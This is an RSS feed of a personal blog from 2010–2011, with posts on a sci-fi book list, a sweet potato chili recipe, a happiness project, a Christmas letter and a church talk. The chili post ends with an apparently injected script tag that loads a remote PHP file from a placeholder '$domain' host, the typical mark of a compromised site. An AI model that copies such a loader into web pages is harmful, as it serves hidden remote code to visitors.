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	<title>Sometimes, those who wander really are lost</title>
	
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		<title>Smiling</title>
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		<pubDate>Tue, 06 Sep 2011 14:02:33 +0000</pubDate>
		<dc:creator>Brady</dc:creator>
				<category><![CDATA[coincidences]]></category>
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		<guid isPermaLink="false">http://bradyemmett.info/?p=297</guid>
		<description>&lt;p&gt;Yesterday, Labor Day 2011, was a pretty great day.  I was surrounded by people and things that I love. Of the many many wonderful moments, one stood out that I wanted to share.&lt;/p&gt; &lt;p&gt;As I was shopping at Meijer for a BBQ later that day, I was wandering down the milk aisle and I noticed an old lady [...]</description>
			<content:encoded><![CDATA[<p><a title="She by Julie70, on Flickr" href="http://www.flickr.com/photos/joyoflife/3080004036/" onclick="pageTracker._trackPageview('/outgoing/www.flickr.com/photos/joyoflife/3080004036/?referer=');"><img class="alignright" src="http://farm4.static.flickr.com/3284/3080004036_1050ff90f2_m.jpg" alt="She" width="240" height="231" /></a>Yesterday, Labor Day 2011, was a pretty great day.  I was surrounded by people and things that I love. Of the many many wonderful moments, one stood out that I wanted to share.</p>
<p>As I was shopping at Meijer for a BBQ later that day, I was wandering down the milk aisle and I noticed an old lady standing with a cart off to the side.  We&#8217;re talking very old, oxygen tank old.  In the cart was a baby in a car seat.  For no real reason, I made eye contact and gave the woman a big grin, just because I was feeling so good. (I whistled a Guster song that was stuck in my head through the entire store, I was feeling that good.)  And you know what, she gave me a genuine smile back.</p>
<p>And it made my day.</p>
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		<item>
		<title>How many have you read?</title>
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		<comments>http://bradyemmett.info/2011/08/how-many-have-you-read.html#comments</comments>
		<pubDate>Thu, 11 Aug 2011 18:48:52 +0000</pubDate>
		<dc:creator>Brady</dc:creator>
				<category><![CDATA[books]]></category>
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		<guid isPermaLink="false">http://bradyemmett.info/?p=291</guid>
		<description>&lt;p&gt;You know that silly Facebook meme, the one that lists 100 books that the BBC has allegedly selected as the best evAH, and then goes on to claim that the average reader has only read like 6 of them.  It&amp;#8217;s fun, but completely bunk.&lt;/p&gt; &lt;p&gt;Well, our friends over at NPR, (who are like the BBC in [...]</description>
			<content:encoded><![CDATA[<p>You know that silly Facebook meme, the one that lists 100 books that the BBC has allegedly selected as the best evAH, and then goes on to claim that the average reader has only read like 6 of them.  It&#8217;s fun, <a href="http://overacandle.com/?p=2343" onclick="pageTracker._trackPageview('/outgoing/overacandle.com/?p=2343&amp;referer=');">but completely bunk</a>.</p>
<p>Well, our friends over at NPR, (who are like the BBC in a non-British way, I guess), recently <a href="http://www.npr.org/2011/06/24/137249678/best-science-fiction-fantasy-books-you-tell-us" onclick="pageTracker._trackPageview('/outgoing/www.npr.org/2011/06/24/137249678/best-science-fiction-fantasy-books-you-tell-us?referer=');">put out a call for the best SciFi and Fantasy books</a>.  Over 5000 people nominated books and series in the comments.  (I might have. I thought about it, but then I don&#8217;t know if I actually did or not).   Then they slimmed the list to <a href="http://www.npr.org/2011/08/07/138938145/science-fiction-and-fantasy-finalists" onclick="pageTracker._trackPageview('/outgoing/www.npr.org/2011/08/07/138938145/science-fiction-and-fantasy-finalists?referer=');">the top 237 nominations</a>, specifically excluding books that didn&#8217;t make their strict criteria (basically, they excluded horror, paranormal romance, and YA  from the list), and asked for votes.</p>
<p>50,000 votes later, and mine was for sure one of them, and they came up with <a href="http://www.npr.org/2011/08/11/139085843/your-picks-top-100-science-fiction-fantasy-books" onclick="pageTracker._trackPageview('/outgoing/www.npr.org/2011/08/11/139085843/your-picks-top-100-science-fiction-fantasy-books?referer=');">a list of the top 100 SciFi/Fantasy novels </a>(excluding YA. They are running a YA poll next summer.  Sorry Harry.)</p>
<p>I don&#8217;t propose a meme, although go ahead and play along if you want.  I&#8217;m just curious to know how many of them I have read.  I&#8217;ve got the top 13 down, except I have never finished <em>1984</em>. </p>
<p>Here&#8217;s the list.  I bolded the ones I&#8217;ve read at least one of the series, although in most cases, I&#8217;ve read the whole she-bang. </p>
<p><span id="more-291"></span></p>
<blockquote><p><strong>1. The Lord Of The Rings Trilogy, by J.R.R. Tolkien</strong><br />
<strong>2. The Hitchhiker&#8217;s Guide To The Galaxy, by Douglas Adams</strong><br />
<strong>3. Ender&#8217;s Game, by Orson Scott Card</strong><br />
<strong>4. The Dune Chronicles, by Frank Herbert</strong><br />
<strong>5. A Song Of Ice And Fire Series, by George R. R. Martin</strong><br />
<strong>6. 1984, by George Orwell</strong><br />
<strong>7. Fahrenheit 451, by Ray Bradbury</strong><br />
<strong>8. The Foundation Trilogy, by Isaac Asimov</strong><br />
<strong>9. Brave New World, by Aldous Huxley</strong><br />
<strong>10. American Gods, by Neil Gaiman</strong><br />
<strong>11. The Princess Bride, by William Goldman</strong><br />
<strong>12. The Wheel Of Time Series, by Robert Jordan</strong><br />
<strong>13. Animal Farm, by George Orwell</strong><br />
14. Neuromancer, by William Gibson<br />
15. Watchmen, by Alan Moore<br />
16. I, Robot, by Isaac Asimov<br />
17. Stranger In A Strange Land, by Robert Heinlein<br />
<strong>18. The Kingkiller Chronicles, by Patrick Rothfuss</strong><br />
19. Slaughterhouse-Five, by Kurt Vonnegut<br />
<strong>20. Frankenstein, by Mary Shelley</strong><br />
21. Do Androids Dream Of Electric Sheep?, by Philip K. Dick<br />
22. The Handmaid&#8217;s Tale, by Margaret Atwood<br />
23. The Dark Tower Series, by Stephen King<br />
24. 2001: A Space Odyssey, by Arthur C. Clarke<br />
25. The Stand, by Stephen King<br />
26. Snow Crash, by Neal Stephenson<br />
27. The Martian Chronicles, by Ray Bradbury<br />
28. Cat&#8217;s Cradle, by Kurt Vonnegut<br />
29. The Sandman Series, by Neil Gaiman<br />
30. A Clockwork Orange, by Anthony Burgess<br />
31. Starship Troopers, by Robert Heinlein<br />
<strong>32. Watership Down, by Richard Adams</strong><br />
33. Dragonflight, by Anne McCaffrey<br />
34. The Moon Is A Harsh Mistress, by Robert Heinlein<br />
<strong>35. A Canticle For Leibowitz, by Walter M. Miller</strong><br />
<strong>36. The Time Machine, by H.G. Wells</strong><br />
37. 20,000 Leagues Under The Sea, by Jules Verne<br />
<strong>38. Flowers For Algernon, by Daniel Keys</strong><br />
<strong>39. The War Of The Worlds, by H.G. Wells</strong><br />
40. The Chronicles Of Amber, by Roger Zelazny<br />
<strong>41. The Belgariad, by David Eddings</strong><br />
42. The Mists Of Avalon, by Marion Zimmer Bradley<br />
<strong>43. The Mistborn Series, by Brandon Sanderson</strong><br />
<strong>44. Ringworld, by Larry Niven</strong><br />
<strong>45. The Left Hand Of Darkness, by Ursula K. LeGuin</strong><br />
46. The Silmarillion, by J.R.R. Tolkien<br />
47. The Once And Future King, by T.H. White<br />
48. Neverwhere, by Neil Gaiman<br />
49. Childhood&#8217;s End, by Arthur C. Clarke<br />
50. Contact, by Carl Sagan<br />
51. The Hyperion Cantos, by Dan Simmons<br />
<strong>52. Stardust, by Neil Gaiman</strong><br />
<strong>53. Cryptonomicon, by Neal Stephenson</strong><br />
54. World War Z, by Max Brooks<br />
55. The Last Unicorn, by Peter S. Beagle<br />
56. The Forever War, by Joe Haldeman<br />
<strong>57. Small Gods, by Terry Pratchett</strong><br />
58. The Chronicles Of Thomas Covenant, The Unbeliever, by Stephen R. Donaldson<br />
59. The Vorkosigan Saga, by Lois McMaster Bujold<br />
<strong>60. Going Postal, by Terry Pratchett</strong><br />
61. The Mote In God&#8217;s Eye, by Larry Niven &amp; Jerry Pournelle<br />
62. The Sword Of Truth, by Terry Goodkind<br />
63. The Road, by Cormac McCarthy<br />
<strong>64. Jonathan Strange &amp; Mr Norrell, by Susanna Clarke</strong><br />
65. I Am Legend, by Richard Matheson<br />
66. The Riftwar Saga, by Raymond E. Feist<br />
<strong>67. The Shannara Trilogy, by Terry Brooks</strong><br />
68. The Conan The Barbarian Series, by R.E. Howard<br />
69. The Farseer Trilogy, by Robin Hobb<br />
<strong>70. The Time Traveler&#8217;s Wife, by Audrey Niffenegger</strong><br />
<strong>71. The Way Of Kings, by Brandon Sanderson</strong><br />
72. A Journey To The Center Of The Earth, by Jules Verne<br />
73. The Legend Of Drizzt Series, by R.A. Salvatore<br />
74. Old Man&#8217;s War, by John Scalzi<br />
75. The Diamond Age, by Neil Stephenson<br />
76. Rendezvous With Rama, by Arthur C. Clarke<br />
77. The Kushiel&#8217;s Legacy Series, by Jacqueline Carey<br />
78. The Dispossessed, by Ursula K. LeGuin<br />
79. Something Wicked This Way Comes, by Ray Bradbury<br />
<strong>80. Wicked, by Gregory Maguire</strong><br />
<strong>81. The Malazan Book Of The Fallen Series, by Steven Erikson</strong><br />
<strong>82. The Eyre Affair, by Jasper Fforde</strong><br />
83. The Culture Series, by Iain M. Banks<br />
84. The Crystal Cave, by Mary Stewart<br />
<strong>85. Anathem, by Neal Stephenson</strong><br />
86. The Codex Alera Series, by Jim Butcher<br />
87. The Book Of The New Sun, by Gene Wolfe<br />
88. The Thrawn Trilogy, by Timothy Zahn<br />
89. The Outlander Series, by Diana Gabaldan<br />
90. The Elric Saga, by Michael Moorcock<br />
91. The Illustrated Man, by Ray Bradbury<br />
92. Sunshine, by Robin McKinley<br />
93. A Fire Upon The Deep, by Vernor Vinge<br />
94. The Caves Of Steel, by Isaac Asimov<br />
95. The Mars Trilogy, by Kim Stanley Robinson<br />
96. Lucifer&#8217;s Hammer, by Larry Niven &amp; Jerry Pournelle<br />
97. Doomsday Book, by Connie Willis<br />
98. Perdido Street Station, by China Mieville<br />
<strong>99. The Xanth Series, by Piers Anthony</strong><br />
100. The Space Trilogy, by C.S. Lewis</p></blockquote>
<p>So there it is. I count 37 of them. That leaves me with a whole lot of reading to do.  I recently added #14 Neuromancer to my to-read list, and several of the Neal Stephenson books are there.  Looks like we&#8217;ve got a lot to draw on for our SpecFic book club too.  So far, we have read #32 &#8211; Watership Down and #35 &#8211; A Canticle for Leibowitz.  Some of our other books will likely be on next summer&#8217;s YA list. </p>
<p>Good times.  How many have you read?</p>
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		<item>
		<title>Award Winning Chili – Sweet Potato Chili with Peanuts</title>
		<link>http://feedproxy.google.com/~r/SometimesThoseWhoWanderReallyAreLost/~3/WIGE1XMtAIA/chili.html</link>
		<comments>http://bradyemmett.info/2011/02/chili.html#comments</comments>
		<pubDate>Tue, 22 Feb 2011 02:07:52 +0000</pubDate>
		<dc:creator>Brady</dc:creator>
				<category><![CDATA[recipes]]></category>

		<guid isPermaLink="false">http://bradyemmett.info/?p=281</guid>
		<description>&lt;p&gt;It&amp;#8217;s been too long since I posted a recipe. So here it is, a recipe.  An Award Winning recipe, I might add.  Last Saturday, this chili won the Hill Street Hoedown Chili Cookoff People&amp;#8217;s Choice award.  And I didn&amp;#8217;t even have to do all of the campaigning myself.  It actually stood on its own, and [...]</description>
			<content:encoded><![CDATA[<p>It&#8217;s been too long since I posted a recipe. So here it is, a recipe.  An Award Winning recipe, I might add.  Last Saturday, this chili won the Hill Street Hoedown Chili Cookoff People&#8217;s Choice award.  And I didn&#8217;t even have to do all of the campaigning myself.  It actually stood on its own, and then I persuaded other people to try it.</p>
<p>I know, I know, arguably, this is not a chili in the true sense of the word.  No meat, no beans, but boy did it have a good chili flavor.  The original recipe was pretty weak sauce on the spicing, so I amped it up a bit with chipotles and cocoa powder.  Feel free to adjust the seasoning to your taste in chili.</p>
<p>Also, you should probably note that if you are taking this to a cookoff, you should give some sort of warning that there are peanuts in it.  Not something that allergic people are likely to suspect in a delicious chili.</p>
<p>Enjoy!</p>
<p><strong>Sweet Potato Chili with Peanuts</strong><br />
Adapted from <a href="http://www.aicr.org/site/MessageViewer?em_id=2681.0" onclick="pageTracker._trackPageview('/outgoing/www.aicr.org/site/MessageViewer?em_id=2681.0&amp;referer=');">AICR</a></p>
<p>2 Tbsp. canola oil <br />
 1 medium onion, chopped <br />
3 medium carrots, peeled and thinly sliced <br />
 1 medium green bell pepper, seeded and chopped <br />
 1 medium red bell pepper, seeded and chopped <br />
 2 to 6 garlic cloves, minced, to taste <br />
 1 1/2 to 2 pounds orange-flesh sweet potatoes,     peeled and cut into bite-sized chunks (about 4 cups) <br />
 1 1/2 cups unsalted roasted peanuts <br />
1 can (28 ounces) crushed tomatoes in juice <br />
 1 can (6 ounces) tomato paste <br />
 2 cans (4 ounces each) diced mild     green chili peppers with liquid  <br />
2 chipotles in adobo, chopped <br />
4 to 6 Tbsp. of chili powder, or to taste <br />
2 Tbsp. cocoa powder<br />
1 Tbsp. ground cumin, or to taste <br />
1 Tbsp. sugar <br />
Salt and freshly ground black pepper, to taste</p>
<p>In a large, heavy pot, heat the canola oil over medium heat. Add the onion, carrots and bell peppers, and sauté, stirring occasionally, for about 8 minutes, until onions are golden. Add the garlic and sauté, stirring constantly, for 30 seconds. Stir in the sweet potatoes, peanuts, canned tomatoes, tomato paste, canned chili peppers, chipotles, chili powder, cocoa powder, cumin and sugar.</p>
<p>Bring the mixture to a boil, then reduce the heat to low and simmer gently, stirring occasionally, for 15 to 25 minutes, until the sweet potatoes are just tender. Halfway through the cooking process, adjust the seasonings, adding more chili powder and cumin if you want. Season with salt and pepper.</p>
<p>Makes 10 servings.</p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>Valentine’s Day</title>
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		<comments>http://bradyemmett.info/2011/02/valentines-day.html#comments</comments>
		<pubDate>Tue, 15 Feb 2011 02:54:39 +0000</pubDate>
		<dc:creator>Brady</dc:creator>
				<category><![CDATA[blog]]></category>
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		<guid isPermaLink="false">http://bradyemmett.info/?p=270</guid>
		<description>&lt;p&gt;Every year, I think about getting those silly Valentine&amp;#8217;s Day cards at the store and sending them to my siblings and nieces and nephews and friends.  Basically, I never get that taken care of.  Sometimes, I&amp;#8217;ll even manage to buy the cards (usually Harry Potter) and then promptly not get anything done with them.&lt;/p&gt; &lt;p&gt;I [...]</description>
			<content:encoded><![CDATA[<p>Every year, I think about getting those silly Valentine&#8217;s Day cards at the store and sending them to my siblings and nieces and nephews and friends.  Basically, I never get that taken care of.  Sometimes, I&#8217;ll even manage to buy the cards (usually Harry Potter) and then promptly not get anything done with them.</p>
<p>I was thinking about it this year, since I have addresses this time, but typically, I didn&#8217;t get it taken care of.  Fortunately, I saw a post on <a href="http://lifehacker.com/#!5757653/use-valentines-day-video-message-to-reconnect-with-long+distance-family-and-friends" onclick="pageTracker._trackPageview('/outgoing/lifehacker.com/_5757653/use-valentines-day-video-message-to-reconnect-with-long+distance-family-and-friends?referer=');">Lifehacker</a> the other day, which gave me the perfect solution: Video Valentines.</p>
<p>On Saturday night, before I watched Star Wars: A New Hope, I recorded a set of videos on my phone (Droid Incredible, you are incredible!) and sent them to my family.  And it was great!  I actually got Valentines sent this year.</p>
<p>So, I decided to record one for you, Loyal Blog Readers.  I even busted out a red shirt for the occasion and set up some fancy shmancy frame on my webcam. <img src='http://bradyemmett.info/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />   (I thought about going with a heart, but it was too not manly. So you get the postcard)</p>
<p>I hope you like it.  Happy Valentine&#8217;s Day!</p>
<p><iframe title="YouTube video player" width="640" height="510" src="http://www.youtube.com/embed/kkmPasgGYBU?rel=0" frameborder="0" allowfullscreen></iframe></p>
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		<title>Mindfulness – February’s Happiness Theme</title>
		<link>http://feedproxy.google.com/~r/SometimesThoseWhoWanderReallyAreLost/~3/8F0stcWxt-c/mindfulness-februarys-happiness-theme.html</link>
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		<pubDate>Wed, 02 Feb 2011 03:48:56 +0000</pubDate>
		<dc:creator>Brady</dc:creator>
				<category><![CDATA[Happiness Project]]></category>
		<category><![CDATA[Mindfulness]]></category>

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		<description>&lt;p&gt;&lt;/p&gt; &lt;p&gt;To kick off my Happiness Project, I picked the theme of Mindfulness.  It&amp;#8217;s strikingly similar to Gretchin Rubin&amp;#8217;s February theme of Self-Awareness.&lt;/p&gt; &lt;p&gt;Mindfulness has been coming up in my reading fairly regularly over the past few months.  It is a process of paying attention to one&amp;#8217;s self and one&amp;#8217;s emotions, and accepting them.  One [...]</description>
			<content:encoded><![CDATA[<p><a title="Park Ellis by onBeing, on Flickr" href="http://www.flickr.com/photos/speakingoffaith/4112463272/" onclick="pageTracker._trackPageview('/outgoing/www.flickr.com/photos/speakingoffaith/4112463272/?referer=');"><img class="alignright" title="On Mindfulness" src="http://farm3.static.flickr.com/2620/4112463272_35ae16fe57_m.jpg" alt="Park Ellis" width="240" height="180" /></a></p>
<p>To kick off my Happiness Project, I picked the theme of Mindfulness.  It&#8217;s strikingly similar to <a href="http://www.happiness-project.com/happiness_project/2011/02/video-what-did-you-do-for-fun-when-you-were-10-years-old.html" onclick="pageTracker._trackPageview('/outgoing/www.happiness-project.com/happiness_project/2011/02/video-what-did-you-do-for-fun-when-you-were-10-years-old.html?referer=');">Gretchin Rubin&#8217;s February theme of Self-Awareness</a>.</p>
<p>Mindfulness has been coming up in my reading fairly regularly over the past few months.  It is a process of paying attention to one&#8217;s self and one&#8217;s emotions, and accepting them.  One of my favorite articles on the concept, posted at <a href="http://zenhabits.net/peace/" onclick="pageTracker._trackPageview('/outgoing/zenhabits.net/peace/?referer=');">Zen Habits</a>, had this to say about mindfulness:</p>
<blockquote><p>Inner peace is revealed when the inner war ends. We stop looking outside ourselves for solutions to our problems and, instead, turn our attention inward to make peace with our own experience. This simple movement of attention is revolutionary. It heals, calms, and clarifies like nothing else.</p>
</blockquote>
<p>Trent, over at <a href="http://www.thesimpledollar.com/2010/09/12/meditation-prayer-and-personal-finance" onclick="pageTracker._trackPageview('/outgoing/www.thesimpledollar.com/2010/09/12/meditation-prayer-and-personal-finance?referer=');">The Simple Dollar</a>, didn&#8217;t call it mindfulness, but his experience seems to be typical of the practice of mindfulness meditation:</p>
<blockquote><p>Once or twice a day, I go into my bedroom, turn down the lights, lay on the bed, and look up at the ceiling. I start off by reflecting on a small handful of things that have really brought me significant joy in the past few days. After a few minutes of that, I focus entirely on emptying my mind for a while, and once that’s done, I just drift without anything in my mind. Sometimes thoughts drift in and out of my head – sometimes they don’t. Sometimes I doze off for a bit – other times, I don’t.</p>
<p>After about twenty minutes of concentrated mental relaxation, I almost always feel refreshed and much more able to tackle whatever is on the table in front of me, whether it’s a household task, some work to be done, some bills to be paid, or anything else. I get that stuff done faster and better than I ever would have done before the meditation.</p>
<p>Call it meditation or prayer or whatever you wish – it flat-out works.</p>
</blockquote>
<p>I don&#8217;t know a lot about Mindfulness right now, so my first weekly goal is to do some more reading and research.</p>
<p>I&#8217;m going to start with the following two items and add a few more to it:</p>
<ul>
<li><a href="http://www.amazon.com/gp/product/0553386395?ie=UTF8&amp;tag=somthowhowan-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0553386395" onclick="pageTracker._trackPageview('/outgoing/www.amazon.com/gp/product/0553386395?ie=UTF8_amp_tag=somthowhowan-20_amp_linkCode=as2_amp_camp=1789_amp_creative=390957_amp_creativeASIN=0553386395&amp;referer=');">Mindsight: The New Science of Personal Transformation</a>, by Daniel Siegel (Provided that <a href="http://elizabethdownie.blogspot.com/2011/02/snowtorious-big.html" onclick="pageTracker._trackPageview('/outgoing/elizabethdownie.blogspot.com/2011/02/snowtorious-big.html?referer=');">Snowtorious B.I.G</a> doesn&#8217;t cause UPS to lose my package)</li>
<li><a href="http://being.publicradio.org/programs/2011/opening-to-our-lives/" onclick="pageTracker._trackPageview('/outgoing/being.publicradio.org/programs/2011/opening-to-our-lives/?referer=');">Opening to Our Lives</a>, from the NPR show Being, which aired this last weekend.</li>
</ul>
<p>By this time next week, I&#8217;ll know a little more about Mindfulness.  By the end of the month, I intend to be practicing some Mindful Meditations.  I&#8217;ll let you know how it turns out!</p>
<p><strong>Does anyone know of any other resources on Mindfulness that I use to learn more?</strong></p>
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		<title>My Happiness Project 2011</title>
		<link>http://feedproxy.google.com/~r/SometimesThoseWhoWanderReallyAreLost/~3/5QSuAsQJlrI/my-happiness-project-2011.html</link>
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		<pubDate>Tue, 01 Feb 2011 02:32:45 +0000</pubDate>
		<dc:creator>Brady</dc:creator>
				<category><![CDATA[Happiness Project]]></category>

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		<description>&lt;p class="wp-caption-text"&gt;He looks happy! &lt;/p&gt; &lt;p&gt;Over the past few months, I have been doing a lot of thinking about happiness.  I won&amp;#8217;t say that I have been unhappy.  I will say that I have struggled to be as happy as I think I can be.  Some portion of that is attributable to energy levels and [...]</description>
			<content:encoded><![CDATA[<div class="wp-caption alignright" style="width: 256px"><a title="Jump! by danorbit., on Flickr" href="http://www.flickr.com/photos/danorbit/1814156778/" onclick="pageTracker._trackPageview('/outgoing/www.flickr.com/photos/danorbit/1814156778/?referer=');"><img src="http://farm3.static.flickr.com/2352/1814156778_f5b7e6ac12.jpg" alt="Jump!" width="246" height="300" /></a><p class="wp-caption-text">He looks happy! </p></div>
<p>Over the past few months, I have been doing a lot of thinking about happiness.  I won&#8217;t say that I have been unhappy.  I will say that I have struggled to be as happy as I think I can be.  Some portion of that is attributable to energy levels and work-life balance, but not all of it.  I realized that I am in control of my own personal happiness and I can do things that will improve my happiness.</p>
<p>Last year, I checked out Gretchen Rubin&#8217;s <em><a href="http://www.happiness-project.com/happiness_project/" onclick="pageTracker._trackPageview('/outgoing/www.happiness-project.com/happiness_project/?referer=');">The Happiness Project</a></em> three times before I actually got it read. When I finally did get it read, I was floored.  Here was a happy woman who took it upon herself to try different things that might make her even happier.</p>
<p>Her &#8220;<a href="http://www.happiness-project.com/happiness_project/2007/02/a_refinement_of.html" onclick="pageTracker._trackPageview('/outgoing/www.happiness-project.com/happiness_project/2007/02/a_refinement_of.html?referer=');">First Splendid Truth</a>&#8221; of happiness is &#8220;To be happier, you have to think about feeling good, feeling bad, and feeling right, in an atmosphere of growth.&#8221;  And so, I have been thinking about feeling good, feeling bad, and feeling right in my atmosphere of growth.</p>
<p>I know that last year I had some really dark times, especially when I wasn&#8217;t getting enough sleep or when I wasn&#8217;t proactively working to balance my life.  I had moments when I felt lonely and times when I was overwhelmed by the goodness of my friends and family. I had my fair share of good times as well. I had love and I had heartbreak (and I had Bernadette Peters singing to me, but I digress).</p>
<p>I also know my outlook for this year.  I have a good understanding of where I will be challenged, and I fully expect to be surprised as well, by the good times and the bad times.</p>
<p>I kind of see happiness as a kind of metaphorical muscle.   In the same way that I don&#8217;t expect to run a race if I haven&#8217;t trained for it, I don&#8217;t expect to be happy in the face of difficulties without having practiced it beforehand.</p>
<p>As such, I decided to do my own happiness project this year.  I&#8217;ve been reluctant to get started for some reason, but here it goes&#8230;</p>
<p>I&#8217;m kicking off my Happiness Project 2011 on January 31.</p>
<p>My themes for the year are <strong><span style="text-decoration: underline;">Simplify and Strengthen</span></strong>.  I&#8217;ll follow up on what I think that means to me in a followup post.</p>
<p>My intention is to pick a monthly theme and set weekly goals of things to do every day related to that theme.   If I get ambitious, I will also set a few month long goals as well.</p>
<p>My hope is to document it here on my blog, as both an accountability mechanism and as a way to process what I am learning about myself.  I will try to be honest and not hide myself.  I hope that you, dear readers, will talk to me in person about happiness and how I am doing with my goals.  I can use all of the encouragement I can get.</p>
<p>And if you want, you can join me in doing your own Happiness Project as well.   All it takes is a willingness to think about feeling good, feeling bad, and feeling right in an atmosphere of growth.  Do you have that?</p>
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		<title>My Christmas Letter</title>
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		<pubDate>Fri, 24 Dec 2010 14:59:15 +0000</pubDate>
		<dc:creator>Brady</dc:creator>
				<category><![CDATA[2010]]></category>
		<category><![CDATA[christmas]]></category>
		<category><![CDATA[family]]></category>
		<category><![CDATA[friends]]></category>

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		<description>&lt;p&gt;December 2010&lt;/p&gt; &lt;p&gt; Dear Friends and Family- Yeah, I know! Christmas cards from Brady! Who would have thought?&lt;/p&gt; &lt;p&gt; 2010 and I had a good time. I spent most of it in Michigan, making brief escapes elsewhere from time to time.&lt;/p&gt; &lt;p&gt; As you probably know, I continue working for Ford Motor Company, as a [...]</description>
			<content:encoded><![CDATA[<p>December 2010</p>
<p> Dear Friends and Family-<br />
 Yeah, I know! Christmas cards from Brady! Who would have thought?</p>
<p> 2010 and I had a good time. I spent most of it in Michigan, making brief escapes elsewhere from time to time.</p>
<p> As you probably know, I continue working for Ford Motor Company, as a Financial Analyst in the Product Development group. I can&#8217;t tell you exactly what I work on, but you&#8217;ll probably start seeing it in a few years, if things go  as planned. Ford continues to do well, and I continue to remind you that if  you are considering a new new car, be sure to let me know. I can get you a  discount! (Unless you live in Puerto Rico, as it turns out…)</p>
<p> I made my first visits to Chicago (Finally!), Puerto Rico, and the Bruce  Peninsula of &#8220;Southern&#8221; Ontario this year. They were all wonderful visits. I  also took a summer road trip with my kid sister Nicole across Ohio to New  York. We just barely missed being rained out of the Cedar Point amusement  park and were nearly rained out of the Hill Cumorah Pageant.</p>
<p> I set my grill on fire during a Labor Day party at my apartment and hosted a  fantastic group of friends for Thanksgiving. I watched the last episodes of  LOST and Heroes with friends. I made it to three different cider mills. I was  the piñata swinger at a Fiesta Mexicana.</p>
<p> All in all, I&#8217;d say it was a great year. Thank you for the part you played in it!</p>
<p> Here&#8217;s hoping you have a happy Christmas and a wonderful year in 2011.</p>
<p> Brady Emmett</p>
<p> You can keep up with me in any number of ways!<br />
 Email: brady.emmett@gmail.com<br />
 Blog: http://bradyemmett.info<br />
 Twitter: @brady32<br />
 Facebook: http://facebook.com/brady.emmett</p>
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		<title>Keeping The Spirit of Christmas All Year</title>
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		<pubDate>Mon, 13 Dec 2010 15:21:18 +0000</pubDate>
		<dc:creator>Brady</dc:creator>
				<category><![CDATA[christmas]]></category>
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		<category><![CDATA[thoughts]]></category>

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		<description>&lt;p&gt;This is the text of the talk I gave yesterday as part of our congregation&amp;#8217;s Christmas program.  I thought I&amp;#8217;d share.&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;The Spirit of Christmas is a marvelous thing. In the days of Christ’s birth Angels sang, Shepherds watched with care by night, Wise men adored. It was a time of wonders and miracles. [...]</description>
			<content:encoded><![CDATA[<p>This is the text of the talk I gave yesterday as part of our congregation&#8217;s Christmas program.  I thought I&#8217;d share.</p>
<p><br class="spacer_" /></p>
<blockquote><p>The Spirit of Christmas is a marvelous thing.  In the days of Christ’s birth Angels sang, Shepherds watched with care by night, Wise men adored.  It was a time of wonders and miracles.  A new star appeared in the sky.  Half a world away, “at the going down of the sun, there was no darkness” (<a href="http://lds.org/scriptures/bofm/3-ne/1.15?lang=eng#12" target="_blank" onclick="pageTracker._trackPageview('/outgoing/lds.org/scriptures/bofm/3-ne/1.15?lang=eng_12&amp;referer=');">3 Nephi 1:15</a>).  A prophet was commanded to lift up his head and be of good cheer and a people of faith was spared.</p>
<p>One passage of scripture has often caught my attention as I have studied the glorious times that accompanied the Savior’s birth.  In the Gospel of Luke we learn that His mother, Mary “kept all these things and pondered them in her heart”.  (<a href="http://lds.org/scriptures/nt/luke/2.19?lang=eng#18" onclick="pageTracker._trackPageview('/outgoing/lds.org/scriptures/nt/luke/2.19?lang=eng_18&amp;referer=');">Luke 2:19</a>)</p>
<p>She had the Son of God with her every day and yet she kept and pondered the miracles of His birth in her heart. We would do well to follow Mary’s example.</p>
<p>What might we keep and ponder in our hearts throughout the year?</p>
<p>I propose that we remember first and foremost the miracle of Christ’s life and death.  That we remember that He lived for us and that He died for us and that through His infinite atonement, we can be made clean.</p>
<p>Second, I propose that we strive daily to model our actions after His; that we love one another; that we keep His commandments; that throughout the coming year, we keep in our hearts the generosity, the love, the joy, the gratitude, the kindness and the happiness that we feel during the Christmas season; that we love our God and we love our Neighbor and we love Ourselves.</p>
<p>Finally, I propose that we Be Believing, now and all year.  Christmas is a time of faith.  Christ has made many promises to us.  If we Believe Christ, we will find that when we are challenged, there will be no darkness.  We will not be alone.  We will be able to lift up our heads and be of good cheer.</p>
<p>These are just a few of the many Christmas miracles we could keep in our hearts and ponder over the coming year.  You and I have been blessed beyond measure through the birth of Jesus Christ.</p>
<p>President Howard W. Hunter made the following invitation many years ago, and I echo its sentiment now: “If you desire to find the true spirit of Christmas and partake of the sweetness of it, let me make this suggestion to you. During the hurry of the festive occasion of this Christmas season, find time to turn your heart to God. Perhaps in the quiet hours, and in a quiet place, and on your knees—alone or with loved ones—give thanks for the good things that have come to you, and ask that His Spirit might dwell in you as you earnestly strive to serve Him and keep His commandments. He will take you by the hand and His promises will be kept.”(<a href="http://lds.org/ensign/2005/12/the-real-christmas?lang=eng" onclick="pageTracker._trackPageview('/outgoing/lds.org/ensign/2005/12/the-real-christmas?lang=eng&amp;referer=');">Hunter 1972</a>)</p>
<p>In conclusion, I would like to share a lesson that I learned from the classic Christmas story, A Muppet’s Christmas Carol.  The Ghost of Christmas Present teaches old Scrooge that Christmas “is a season of the heart, a special time of caring, The ways of love made clear.  It is the season of the spirit. The message, if we hear it, is make it last all year.”  Scrooge also learns that “When you do your best for love, it feels like Christmas.”</p>
<p>I have learned that the Spirit of Christmas is a spirit of love and gratitude.  For me, keeping and pondering the spirit of Christmas in my heart all year means working to show love, compassion and kindness as best I can.</p>
<p>I know that Jesus Christ lives, and that He loves us.  I know it now and I hope I remember it throughout the year.  I know that if we do keep the Spirit of Christmas with us all year, it will be a time of wonders and miracles for us as well.</p>
<p>Brothers and Sisters, May we keep and ponder these things in our hearts.  May we remember the miracle of Christ’s Birth, follow His commandments, and Be Believing.  May we do our best for love and make the Christmas spirit last all year.</p>
</blockquote>
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		<title>Mashups Rock! It Feels Like Christmas x 4</title>
		<link>http://feedproxy.google.com/~r/SometimesThoseWhoWanderReallyAreLost/~3/FYDVzPCIrUc/mashups-rock-it-feels-like-christmas-x-4.html</link>
		<comments>http://bradyemmett.info/2010/12/mashups-rock-it-feels-like-christmas-x-4.html#comments</comments>
		<pubDate>Mon, 06 Dec 2010 14:59:25 +0000</pubDate>
		<dc:creator>Brady</dc:creator>
				<category><![CDATA[christmas]]></category>
		<category><![CDATA[vidoes]]></category>

